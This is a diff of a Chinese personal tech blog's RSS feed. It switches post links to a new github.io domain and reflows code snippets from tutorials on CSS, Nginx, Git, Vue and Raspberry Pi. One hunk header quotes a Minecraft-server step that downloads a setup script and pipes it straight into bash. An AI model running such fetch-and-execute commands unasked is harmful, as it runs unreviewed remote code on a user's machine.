       <description>grid 布局
 grid布局和flex布局类似，不过grid是最强大的css布局方式
 grid布局是网格布局
@@ -2960,10 +2960,10 @@ grid-row-gap: 10px; // 行间距（行与行的距离）</description>
     
     <item>
       <title>css的一些知识扩展</title>
-      <link>https://xiaochenabc123.github.io/posts/44/</link>
+      <link>https://chenjunlinabc.github.io/posts/44/</link>
       <pubDate>Wed, 23 Jun 2021 09:16:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/44/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/44/</guid>
       <description>box-sizing 盒类型
 该属性是告诉浏览器是以什么盒模型展示的
 IE用的是border-box
@@ -3005,10 +3005,10 @@ media 媒体查询
     
     <item>
       <title>一些常用的进制转换方法</title>
-      <link>https://xiaochenabc123.github.io/posts/43/</link>
+      <link>https://chenjunlinabc.github.io/posts/43/</link>
       <pubDate>Sun, 20 Jun 2021 20:07:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/43/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/43/</guid>
       <description>除2取余，逆序排列
 十进制（整数）转二进制一般使用&amp;quot;除2取余，逆序排列&amp;quot;法：
 1.先使用2整除2进制，得到商和余数
@@ -3024,10 +3024,10 @@ media 媒体查询
     
     <item>
       <title>记录一次MIME类型错误</title>
-      <link>https://xiaochenabc123.github.io/posts/39/</link>
+      <link>https://chenjunlinabc.github.io/posts/39/</link>
       <pubDate>Thu, 17 Jun 2021 08:25:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/39/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/39/</guid>
       <description>打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对
 先了解一下浏览器是如何处理这些数据的，是怎么区分的
 数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）
@@ -3040,10 +3040,10 @@ media 媒体查询
     
     <item>
       <title>Yarn包管理工具的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/38/</link>
+      <link>https://chenjunlinabc.github.io/posts/38/</link>
       <pubDate>Wed, 16 Jun 2021 22:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/38/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/38/</guid>
       <description>Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全
 速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次
 保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录
@@ -3081,10 +3081,10 @@ yarn upgrade &amp;ndash;latest 包名</description>
     
     <item>
       <title>wsl2-windows子系统简单配置</title>
-      <link>https://xiaochenabc123.github.io/posts/35/</link>
+      <link>https://chenjunlinabc.github.io/posts/35/</link>
       <pubDate>Wed, 16 Jun 2021 17:43:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/35/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/35/</guid>
       <description>wsl全称Windows Subsystem for Linux
 打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启
 打开Windows Power Shell，输入
@@ -3116,34 +3116,34 @@ wsl &amp;ndash;list &amp;ndash;online
     
     <item>
       <title>Nginx服务器的一些简单配置</title>
-      <link>https://xiaochenabc123.github.io/posts/34/</link>
+      <link>https://chenjunlinabc.github.io/posts/34/</link>
       <pubDate>Wed, 16 Jun 2021 15:52:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/34/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/34/</guid>
       <description>配置ssl证书
 前提是已经申请到ssl证书,并且开放443端口
 编辑nginx.conf
 将443那几行的注释去掉（#）,并且修改
 ssl_certificate &amp;ldquo;crt证书的绝对路径&amp;rdquo;; ssl_certificate_key&amp;quot;key证书的绝对路径&amp;quot;;
 如果想访问网站就301重定向到https，那么添加这几行
-server{
listen 80;
server_name xiaochenabc123.test.com;
rewrite ^(.*) https://$host$1 permanent;
}
# 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
+server{ listen 80; server_name xiaochenabc123.test.com; rewrite ^(.*) https://$host$1 permanent; } # 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
 然后刷新一下配置nginx -s
 nginx反向代理配置
 将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果
 配置nginx.conf
-location / {
proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址
proxy_connect_timeout 200; # 设置连接超时
proxy_read_timeout 200; # 设置读响应超时
}
重启Nginx服务：service nginx restart
+location / { proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址 proxy_connect_timeout 200; # 设置连接超时 proxy_read_timeout 200; # 设置读响应超时 } 重启Nginx服务：service nginx restart
 请求当前服务器时，当前服务器将请求转发给地址为 https://test.xiaochenabc123.test.com 的服务器处理
 gzip压缩
-gzip on;
gzip_comp_level 1; gzip_min_length 10;
gzip_http_version 1.1;
gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
解释：
+gzip on; gzip_comp_level 1; gzip_min_length 10; gzip_http_version 1.1; gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; 解释：
 gzip on // gzip开启，关闭是off</description>
     </item>
     
     <item>
       <title>Linux环境下简单搭建Minecraft服务器（java版）</title>
-      <link>https://xiaochenabc123.github.io/posts/33/</link>
+      <link>https://chenjunlinabc.github.io/posts/33/</link>
       <pubDate>Wed, 16 Jun 2021 15:46:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/33/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/33/</guid>
       <description>服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed
 安装java
 dnf install java-openjdk
@@ -3177,10 +3177,10 @@ wget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash</descri
     
     <item>
       <title>node.js包管理工具npm的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/31/</link>
+      <link>https://chenjunlinabc.github.io/posts/31/</link>
       <pubDate>Wed, 16 Jun 2021 15:05:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/31/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/31/</guid>
       <description>npm是Node.js的默认包管理工具
 安装npm：安装node.js(一般来说安装nodejs都会安装npm的)
 npm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install &amp;ndash;dependencies 只安装package.json里的dependencies的文件 npm install &amp;ndash;devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹
@@ -3189,10 +3189,10 @@ npm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g
     
     <item>
       <title>Git版本管理系统学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/30/</link>
+      <link>https://chenjunlinabc.github.io/posts/30/</link>
       <pubDate>Wed, 16 Jun 2021 14:51:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/30/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/30/</guid>
       <description>git安装
 Windows和mac
 到git官网下载对应的安装文件，进行安装，下一步
@@ -3217,10 +3217,10 @@ git reset &amp;ndash;hard HEAD^ #回退上一个版本，上上一个版本就
     
     <item>
       <title>配置树莓派笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/29/</link>
+      <link>https://chenjunlinabc.github.io/posts/29/</link>
       <pubDate>Wed, 16 Jun 2021 14:48:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/29/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/29/</guid>
       <description>（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统
 现改名为Raspberry Pi OS
 工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc
@@ -3231,7 +3231,7 @@ git reset &amp;ndash;hard HEAD^ #回退上一个版本，上上一个版本就
 使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容 没有用那么需要手动启动ssh服务：service sshd restart
 在boot目录新建一个wpa_supplicant.conf文件
 ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1
-network={
ssid=&amp;quot;wifi的名字&amp;quot;
psk=&amp;quot;wifi的密码&amp;quot;
key_mgmt=WPA-PSK
priority=1
}
update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
+network={ ssid=&amp;quot;wifi的名字&amp;quot; psk=&amp;quot;wifi的密码&amp;quot; key_mgmt=WPA-PSK priority=1 } update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
 插入内存卡，连接电源，开启树莓派
 Windows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找
 使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry 修改用户密码：sudo passwd pi pi是要修改密码的用户
@@ -3243,10 +3243,10 @@ sudo raspi-config
     
     <item>
       <title>python基础语法笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/28/</link>
+      <link>https://chenjunlinabc.github.io/posts/28/</link>
       <pubDate>Wed, 16 Jun 2021 14:40:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/28/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/28/</guid>
       <description>安装python
 推荐安装anaconda3（linux）
 wget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh
@@ -3291,10 +3291,10 @@ python可以处理整型任意大小的整数，也可以使用二进制代表
     
     <item>
       <title>Python的一些神器的简单用法</title>
-      <link>https://xiaochenabc123.github.io/posts/27/</link>
+      <link>https://chenjunlinabc.github.io/posts/27/</link>
       <pubDate>Wed, 16 Jun 2021 14:39:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/27/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/27/</guid>
       <description>Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境
 用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响
 当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题
@@ -3324,10 +3324,10 @@ cd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip.</d
     
     <item>
       <title>简单搭建一个hexo博客</title>
-      <link>https://xiaochenabc123.github.io/posts/26/</link>
+      <link>https://chenjunlinabc.github.io/posts/26/</link>
       <pubDate>Wed, 16 Jun 2021 14:36:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/26/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/26/</guid>
       <description>hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦
 apt install npm
 npm install hexo-cli -g
@@ -3364,35 +3364,35 @@ left - 靠左放置 right - 靠右放置
     
     <item>
       <title>css常见布局</title>
-      <link>https://xiaochenabc123.github.io/posts/24/</link>
+      <link>https://chenjunlinabc.github.io/posts/24/</link>
       <pubDate>Wed, 16 Jun 2021 13:23:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/24/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/24/</guid>
       <description>居中布局
 分水平居中和垂直居中，水平+垂直居中
 水平居中：当前元素在父级元素容器中，水平方向是居中显示的
 inline-block+text-algin
-#app{
text-align: center;
// 父元素，文本内容居中对齐
}
.child{
display: inline-block;
// 子元素，行内块级元素
}
优点：浏览器兼容性好（css2）
+#app{ text-align: center; // 父元素，文本内容居中对齐 } .child{ display: inline-block; // 子元素，行内块级元素 } 优点：浏览器兼容性好（css2）
 缺点：text-align具有继承性，会导致子元素的文本也是居中的
 table+margin
-.child{
display: table; // 也可以为block
margin: 0 auto;
// 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配）
}
优点：只需要对子元素设置，就可以实现效果
+.child{ display: table; // 也可以为block margin: 0 auto; // 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配） } 优点：只需要对子元素设置，就可以实现效果
 缺点：如果子元素脱离正常流，将会导致margin属性的值无效化
 absolute+transform
-#app{
position: relative; // 父元素相对定位
}
.child{
position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的
left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数）
}
优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
+#app{ position: relative; // 父元素相对定位 } .child{ position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的 left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数） } 优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
 缺点：transform属性是css3的新属性，浏览器兼容性比较差
 垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的
 table-cell+vertical-algin
-#app{
// 父元素
display: table-cell;
vertical-align: middle; // 设置文本的垂直方向对齐方式
}
优点：浏览器兼容性好
+#app{ // 父元素 display: table-cell; vertical-align: middle; // 设置文本的垂直方向对齐方式 } 优点：浏览器兼容性好
 缺点：vertical-align属性具有继承性
 absolute+transform</description>
     </item>
     
     <item>
       <title>vuejs基础学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/23/</link>
+      <link>https://chenjunlinabc.github.io/posts/23/</link>
       <pubDate>Wed, 16 Jun 2021 10:13:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/23/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/23/</guid>
       <description>vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3
 vue全家桶：Vue+VueRouter+Vuex
 vue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视
@@ -3405,58 +3405,58 @@ browser版本：包含esm,浏览器模块
 bundler版本：该版本不是完整版，min
 vuejs模板支持所有JavaScript表达式
 vuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{&amp;hellip;}}，例如：
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;p&amp;gt;{{ hallovuejs }}&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
const hallo ={
data() {
return {
hallovuejs: &amp;quot;hallo vuejs!&amp;quot;
}
}
}
Vue.createApp(hallo).mount(&amp;quot;#app&amp;quot;)
&amp;lt;/script&amp;gt;
vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;a v-bind:href=&amp;quot;url&amp;quot;&amp;gt;{{ main }}&amp;lt;/a&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
const hallo ={
data() {
return {
url:&amp;quot;https://xiaochenabc123.test.com&amp;quot;,
main: &amp;quot;小陈的辣鸡屋&amp;quot;
}
}
}
Vue.createApp(hallo).mount(&amp;quot;#app&amp;quot;)
&amp;lt;/script&amp;gt;
这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;p&amp;gt;{{ hallovuejs }}&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; const hallo ={ data() { return { hallovuejs: &amp;quot;hallo vuejs!&amp;quot; } } } Vue.createApp(hallo).mount(&amp;quot;#app&amp;quot;) &amp;lt;/script&amp;gt; vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;a v-bind:href=&amp;quot;url&amp;quot;&amp;gt;{{ main }}&amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; const hallo ={ data() { return { url:&amp;quot;https://xiaochenabc123.test.com&amp;quot;, main: &amp;quot;小陈的辣鸡屋&amp;quot; } } } Vue.createApp(hallo).mount(&amp;quot;#app&amp;quot;) &amp;lt;/script&amp;gt; 这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
 而vue还提供了可以绑定事件的v-on属性，例如：
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;button v-on:click=&amp;quot;go&amp;quot;&amp;gt;{{ main }}&amp;lt;/button&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
const hallo ={
data() {
return {
main: &amp;quot;hallo&amp;quot;
}
},
methods: {
go: function(){
console.</description>
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;button v-on:click=&amp;quot;go&amp;quot;&amp;gt;{{ main }}&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; const hallo ={ data() { return { main: &amp;quot;hallo&amp;quot; } }, methods: { go: function(){ console.</description>
     </item>
     
     <item>
       <title>HTML全局属性笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/22/</link>
+      <link>https://chenjunlinabc.github.io/posts/22/</link>
       <pubDate>Wed, 16 Jun 2021 09:38:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/22/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/22/</guid>
       <description>属性
 accesskey
 定义快捷键获取焦点，例如
-&amp;lt;a href=&amp;quot;https://xiaochenabc123.test.com&amp;quot; accesskey=&amp;quot;q&amp;quot;&amp;gt;GO\&amp;lt;/a&amp;gt;
按ait+q，就会跳到指定的网页上
+&amp;lt;a href=&amp;quot;https://xiaochenabc123.test.com&amp;quot; accesskey=&amp;quot;q&amp;quot;&amp;gt;GO\&amp;lt;/a&amp;gt; 按ait+q，就会跳到指定的网页上
 class
 定义元素的类，开头必须是字母，多个类使用空格隔开，例如
-&amp;lt;div class = &amp;quot;a1 a2 a3&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
id
+&amp;lt;div class = &amp;quot;a1 a2 a3&amp;quot;&amp;gt;&amp;lt;/div&amp;gt; id
 定义一个id，id为唯一性，不能重复，例如
-&amp;lt;div id = &amp;quot;a1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
lang
+&amp;lt;div id = &amp;quot;a1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt; lang
 定义网页或者元素的语言，例如
-&amp;lt;div lang = &amp;quot;fr&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
style
+&amp;lt;div lang = &amp;quot;fr&amp;quot;&amp;gt;&amp;lt;/div&amp;gt; style
 定义元素的行内样式，例如
-&amp;lt;div style=&amp;quot;color : #fff&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
tabindex
+&amp;lt;div style=&amp;quot;color : #fff&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; tabindex
 指定tab键的焦点控制，例如
-&amp;lt;a href=&amp;quot;https://xiaochenabc123.test.com&amp;quot; tabindex=&amp;quot;1&amp;quot;&amp;gt;GO&amp;lt;/a&amp;gt;
使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
+&amp;lt;a href=&amp;quot;https://xiaochenabc123.test.com&amp;quot; tabindex=&amp;quot;1&amp;quot;&amp;gt;GO&amp;lt;/a&amp;gt; 使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
 contenteditable
 指定元素是否为可以编辑的，例如
-&amp;lt;div contenteditable=&amp;quot;true&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
dir
+&amp;lt;div contenteditable=&amp;quot;true&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; dir
 指定元素内文本的方向，例如
-&amp;lt;div dir = &amp;quot;rtl&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
ltr默认值，从左到右
+&amp;lt;div dir = &amp;quot;rtl&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; ltr默认值，从左到右
 rtl，从右到左
 title
 指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如
-&amp;lt;div title = &amp;quot;hi&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
data-xxx
+&amp;lt;div title = &amp;quot;hi&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; data-xxx
 用于存储一些自定义属性，data-后面必须有一个字符，不包括大写
 JavaScript可以通过getAttribute获取到
 draggable
 指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动
 有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如
-&amp;lt;div draggable = &amp;quot;true&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
hidden
+&amp;lt;div draggable = &amp;quot;true&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; hidden
 指定元素是否隐藏，有两个可选值，hidden/true，例如
-&amp;lt;div hidden = &amp;quot;hidden&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
contextmenu</description>
+&amp;lt;div hidden = &amp;quot;hidden&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; contextmenu</description>
     </item>
     
     <item>
       <title>jQuery基础学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/21/</link>
+      <link>https://chenjunlinabc.github.io/posts/21/</link>
       <pubDate>Wed, 16 Jun 2021 09:38:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/21/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/21/</guid>
       <description>##第一个jQuery程序
 $(&amp;lsquo;div&amp;rsquo;).html(&amp;ldquo;hello.world&amp;rdquo;);
 ##DOM对象和jQuery对象互转化
@@ -3495,10 +3495,10 @@ $(&amp;ldquo;div[class=divs],a[href=&amp;ldquo;https://xiaochenabc123.test.com&a
     
     <item>
       <title>JAVA基础学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/19/</link>
+      <link>https://chenjunlinabc.github.io/posts/19/</link>
       <pubDate>Wed, 16 Jun 2021 09:35:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/19/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/19/</guid>
       <description>java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成
 java的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行
 java编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑
@@ -3519,7 +3519,8 @@ java入口程序必须是静态方法，方法名也必须为main，参数必须
 多行注释
 */
 /** *
-一样是多行注释 * */ java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
+一样是多行注释 */
+java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
 变量必须先定义，后赋值使用，例如：
 int a = 1;
 定义为int整数类型，名称为a，初始值为1
@@ -3534,10 +3535,10 @@ int x = i; // 变量x的值为i，因为i的值为100，所以x的值为i
     
     <item>
       <title>Docker容器的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/18/</link>
+      <link>https://chenjunlinabc.github.io/posts/18/</link>
       <pubDate>Wed, 16 Jun 2021 09:34:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/18/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/18/</guid>
       <description>docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行
 可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题
 将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境
@@ -3572,10 +3573,10 @@ sudo apt install docker-ce docker-ce-cli containerd.</description>
     
     <item>
       <title>XML学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/17/</link>
+      <link>https://chenjunlinabc.github.io/posts/17/</link>
       <pubDate>Wed, 16 Jun 2021 09:32:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/17/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/17/</guid>
       <description>xml中文全称为可扩展标记语言（Extensible Markup Language）
 xml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的
 xml声明，该声明位在xml文档的第一行，结尾
@@ -3617,10 +3618,10 @@ FIXED // 表示这个固定的属性默认值，不能将该属性的值设置
     
     <item>
       <title>JavaScript-IntersectionObserver构造函数笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/16/</link>
+      <link>https://chenjunlinabc.github.io/posts/16/</link>
       <pubDate>Wed, 16 Jun 2021 09:29:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/16/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/16/</guid>
       <description>IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果
 该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法
 var observe = new IntersectionObserver(callback, options)
@@ -3643,15 +3644,15 @@ target：返回观测的目标对象，是dom对象
 time：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒
 如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点
 例如：
-const lazyload = new IntersectionObserver((target)=&amp;gt;{
// 实例化
target.forEach((item) =&amp;gt;{
if (item.intersectionRatio){
// 当目标可视
item.target.src = item.target.alt; // 进行属性值覆盖
lazyload.unobserve(item.target) // 停止观测
}
})
},{
rootMargin: &amp;quot;100px&amp;quot; // 提前100px
}); const imgs = document.querySelectorAll(&amp;quot;img[alt]&amp;quot;); // 选择带有alt属性的img元素
imgs.forEach((item) =&amp;gt; {
lazyload.observe(item)
// 开始观测
}); </description>
+const lazyload = new IntersectionObserver((target)=&amp;gt;{ // 实例化 target.forEach((item) =&amp;gt;{ if (item.intersectionRatio){ // 当目标可视 item.target.src = item.target.alt; // 进行属性值覆盖 lazyload.unobserve(item.target) // 停止观测 } }) },{ rootMargin: &amp;quot;100px&amp;quot; // 提前100px }); const imgs = document.querySelectorAll(&amp;quot;img[alt]&amp;quot;); // 选择带有alt属性的img元素 imgs.forEach((item) =&amp;gt; { lazyload.observe(item) // 开始观测 }); </description>
     </item>
     
     <item>
       <title>简单理解区块链的基本原理</title>
-      <link>https://xiaochenabc123.github.io/posts/15/</link>
+      <link>https://chenjunlinabc.github.io/posts/15/</link>
       <pubDate>Wed, 16 Jun 2021 09:27:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/15/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/15/</guid>
       <description>注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币
 1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)
 在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值
@@ -3708,14 +3709,14 @@ Hash(上一个Hash值,交易记录集,随机数)= 哈希值
     
     <item>
       <title>JavaScript-XMLHttpRequest对象笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/14/</link>
+      <link>https://chenjunlinabc.github.io/posts/14/</link>
       <pubDate>Wed, 16 Jun 2021 09:25:49 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/14/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/14/</guid>
       <description>ajax请求是异步的，因此可以通过回调函数来处理响应
 实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的
 初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：
-var xmlhttp = new XMLHttpRequest()
xmlhttp.onreadystatechange = function(){
if(xmlhttp.readyState == 4 &amp;amp;&amp;amp; xmlhttp.status == 200){
document.getElementById(&amp;quot;app&amp;quot;).innerHTML = xmlhttp.responseText
}
}
console.log(xmlhttp.readyState) // 0
xmlhttp.open(&amp;quot;GET&amp;quot;,&amp;quot;https://httpbin.org/get&amp;quot;,true)
console.log(xmlhttp.readyState) // 1
